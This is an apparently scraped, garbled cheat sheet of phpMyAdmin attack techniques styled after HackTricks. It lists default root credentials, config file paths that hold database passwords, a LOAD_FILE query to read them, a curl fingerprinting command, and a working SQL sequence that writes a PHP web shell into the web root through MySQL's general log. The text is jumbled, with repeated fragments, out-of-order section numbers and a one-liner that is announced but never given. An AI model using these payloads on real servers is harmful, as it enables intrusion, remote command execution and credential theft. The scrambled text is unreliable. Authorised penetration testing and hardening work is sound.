Phpmyadmin Hacktricks Verified «EXTENDED ✭»
Use Hydra or a simple Python script. A one-liner:
Last verified: June 2025 – phpMyAdmin 5.2.1, MySQL 8.0, Ubuntu 22.04.
Remember: The difference between a hacker and a security engineer is verification. Run these tests. Document the results. Then patch, block, and monitor. Bookmark this page or run the pma-hacktricks-verifier.sh script (available on GitHub) to automate checks for all methods described above. phpmyadmin hacktricks verified
| Username | Password | |----------|----------| | root | root | | root | (blank) | | root | toor | | admin | (blank) | | pma | pmapassword |
/var/lib/phpmyadmin/config.inc.php /etc/phpmyadmin/config.inc.php /usr/share/phpmyadmin/config.inc.php Use Hydra or a simple Python script
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- This gets written to log file Requires MySQL SUPER privilege (often given to root user in phpMyAdmin). 3.3 User-Defined Functions (UDF) for Persistent Shell Create a MySQL UDF that executes system commands.
LOAD_FILE('/etc/phpmyadmin/config.inc.php'); Look for $cfg['Servers'][$i]['password'] . If $cfg['blowfish_secret'] is weak or default, you can decrypt session cookies and impersonate admin. Run these tests
curl -s http://target/phpmyadmin/README | grep "Version" Verified: phpMyAdmin 5.1.1 leaks version in the default CSS comment: /* v5.1.1 */ . 2.1 Default Credentials (Still Works in 2025) Despite warnings, many test environments (and sadly some production) still use: